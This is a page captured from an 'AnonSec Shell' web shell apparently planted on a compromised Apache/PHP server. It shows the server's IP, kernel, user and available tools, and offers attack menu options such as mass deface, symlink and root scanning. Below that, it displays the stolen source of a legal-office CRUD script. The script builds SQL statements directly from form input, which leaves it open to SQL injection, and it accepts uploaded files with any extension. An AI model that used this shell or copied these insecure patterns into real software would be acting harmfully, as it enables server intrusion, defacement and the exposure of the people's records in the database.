AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/html/juridico/horizonte/modulos/pessoa/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/juridico/horizonte/modulos/pessoa/pessoa_crud.php

<?php
    /**
     * Created by PhpStorm.
     * User: RalpAlves
     * Date: 12/04/2016
     * Time: 10:07
     */
    //session_start("3b71c625dfc95ca336cac7f27b3c2b0b");
    $idusu     = $_SESSION['idusu'];
    $usulogado = $_SESSION['txt_usuario'];
    ini_set('display_errors', 'off');
    //$conn              = conexao::getInstance();
    $var               = $_GET['var'];
    $id                = $_POST['codigo'];
    $nome              = strtoupper($_POST['nome']);
    $cod_tipo_pessoa   = $_POST['cod_tipo_pessoa'];
    $cod_profissao     = $_POST['cod_profissao'];
    $cod_funcao        = $_POST['cod_funcao'];
    $cod_nacionalidade = $_POST['cod_nacionalidade'];
    $cod_fj            = $_POST['cod_fj'];
    $cod_sexo          = $_POST['cod_sexo'];
    $cod_estado_civil  = $_POST['cod_estado_civil'];
    $email             = $_POST['email'];
    $contratado        = $_POST['contratado'];
    $cpfcnpj           = $_POST['cpfcnpj'];
    $rginscri          = $_POST['rginscri'];
    $data_nasc         = date("Y-m-d", strtotime(str_replace('/', '-', $_POST['data_nasc'])));
    $data_adm          = date("Y-m-d", strtotime(str_replace('/', '-', $_POST['data_adm'])));
    $data_dem          = date("Y-m-d", strtotime(str_replace('/', '-', $_POST['data_dem'])));
    $num_pis           = $_POST['num_pis'];
    $data_cad_pis      = date("Y-m-d", strtotime(str_replace('/', '-', $_POST['data_cad_pis'])));
    $agencia_pis       = $_POST['agencia_pis'];
    $num_cnt           = $_POST['num_cnt'];
    $serie_cnt         = $_POST['serie_cnt'];
    $agenda            = $_POST['agenda'];
    $oab               = $_POST['oab'];
    $usuario           = $_POST['usuario'];
    $senha             = $_POST['senha'];
    $conjuge           = $_POST['conjuge'];
    $nit               = $_POST['nit'];
    $titulo_numero     = $_POST['titulo_numero'];
    $titulo_zona       = $_POST['titulo_zona'];
    $titulo_secao      = $_POST['titulo_secao'];
    
    if ($var=='incluir') {
        $grava = $conn->prepare("insert into
                                        pessoas
                                         (nome, cod_tipo_pessoa, cod_nacionalidade, cod_fj, cod_sexo, cod_estado_civil,
                                          data_nasc,conjuge,titulo_numero,titulo_zona,titulo_secao)
                                        value
                                          ('$nome','$cod_tipo_pessoa','$cod_nacionalidade','$cod_fj','$cod_sexo','$cod_estado_civil',
                                           '$data_nasc','$conjuge','$titulo_numero','$titulo_zona','$titulo_secao')");
        $grava->execute();
        $uid = $conn->lastInsertId();
        $a   = new aviso();
        $a->avisoSucesso('?page=pessoa/pessoa_edt&id=' . $uid, 'Pessoa <strong>' . $nome . '</strong > adicionada com sucesso!', 'Inclusão de registro');
    }
    
    if ($var=='editar') {
        $grava = $conn->prepare("update pessoas set nome='$nome',cod_tipo_pessoa='$cod_tipo_pessoa',cod_profissao='$cod_profissao',cod_funcao='$cod_funcao',
                                                    cod_nacionalidade='$cod_nacionalidade',cod_fj='$cod_fj',cod_sexo='$cod_sexo',
                                                    cod_estado_civil='$cod_estado_civil',email='$email',contratado='$contratado',cpfcnpj='$cpfcnpj',
                                                    rginscri='$rginscri',data_nasc='$data_nasc',data_adm='$data_adm',data_dem='$data_dem',
                                                    num_pis='$num_pis',data_cad_pis='$data_cad_pis',agencia_pis='$agencia_pis',num_cnt='$num_cnt',
                                                    agenda='$agenda',oab='$oab',usuario='$usuario',senha='$senha',conjuge='$conjuge',nit='$nit',
                                                    serie_cnt='$serie_cnt',titulo_numero='$titulo_numero',titulo_zona='$titulo_zona',
                                                    titulo_secao='$titulo_secao'
                                                where codigo='$id'");
        $grava->execute();
        $a = new aviso();
        $a->avisoSucesso('?page=pessoa/pessoa_edt&id=' . $id, 'Pessoa <strong>' . $nome . '</strong > alterada com sucesso!', 'Edição de registro');
    }
    
    
    if ($var=='pessoa_doc') {
        $cod_pessoa = $_POST['cod_pessoa'];
        $data       = date("Y-m-d", strtotime(str_replace('/', '-', $_POST['data'])));
        $descri     = strtoupper($_POST['descri']);
        $cli_ver    = $_POST['cli_ver'];
        
        //envia o arquivo da petição
        $uploaddir   = 'files/pessoas/';
        $arquivo_tmp = $_FILES['caminho']['tmp_name'];
        $nome        = $_FILES['caminho']['name'];
        $extensao    = strrchr($nome, '.');
        $extensao    = strtolower($extensao);
        $nome        = $cod_pessoa . '-' . uniqid(rand(), true) . $extensao;
        $uploadfile  = $uploaddir . basename($nome);
        move_uploaded_file($_FILES['caminho']['tmp_name'], $uploadfile);
        
        $atu = $conn->prepare("insert into pessoas_doc (data,descri,caminho,cli_ver,cod_pessoa)
                                                 VALUE ('$data','$descri','$uploaddir$nome','$cli_ver','$cod_pessoa')");
        $atu->execute();
        
        $a = new aviso();
        $a->avisoSucesso('?page=pessoa/pessoa_edt&id=' . $cod_pessoa, 'Anexo <strong>' . $nome . '</strong > gravado com sucesso!', 'Inclusão de anexo');
    }
    if ($var=='pessoa_foto') {
        $cod_pessoa = $_POST['cod_pessoa'];
        
        //envia o arquivo da foto
        $uploaddir   = 'files/foto/';
        $arquivo_tmp = $_FILES['foto']['tmp_name'];
        $nome        = $_FILES['foto']['name'];
        $extensao    = strrchr($nome, '.');
        $extensao    = strtolower($extensao);
        $nome        = $cod_pessoa . '-foto' . $extensao;
        $uploadfile  = $uploaddir . basename($nome);
        move_uploaded_file($_FILES['foto']['tmp_name'], $uploadfile);
        
        $atu = $conn->prepare("update pessoas set foto='$uploaddir$nome' WHERE codigo=$cod_pessoa");
        $atu->execute();
        
        $a = new aviso();
        $a->avisoSucesso('?page=pessoa/pessoa_edt&id=' . $cod_pessoa, 'Foto gravada com sucesso!', 'Inclusão de foto');
    }
    if ($var=='pessoa_foto_limpar') {
        echo $cod_pessoa = $_POST['cod_pessoa'];
        
        $atu = $conn->prepare("update pessoas set foto=NULL WHERE codigo=$cod_pessoa");
        $atu->execute();
        
        $a = new aviso();
        $a->avisoSucesso('?page=pessoa/pessoa_edt&id=' . $cod_pessoa, 'Foto excluída com sucesso!', 'Exclusão de foto');
    }

Anon7 - 2022
AnonSec Team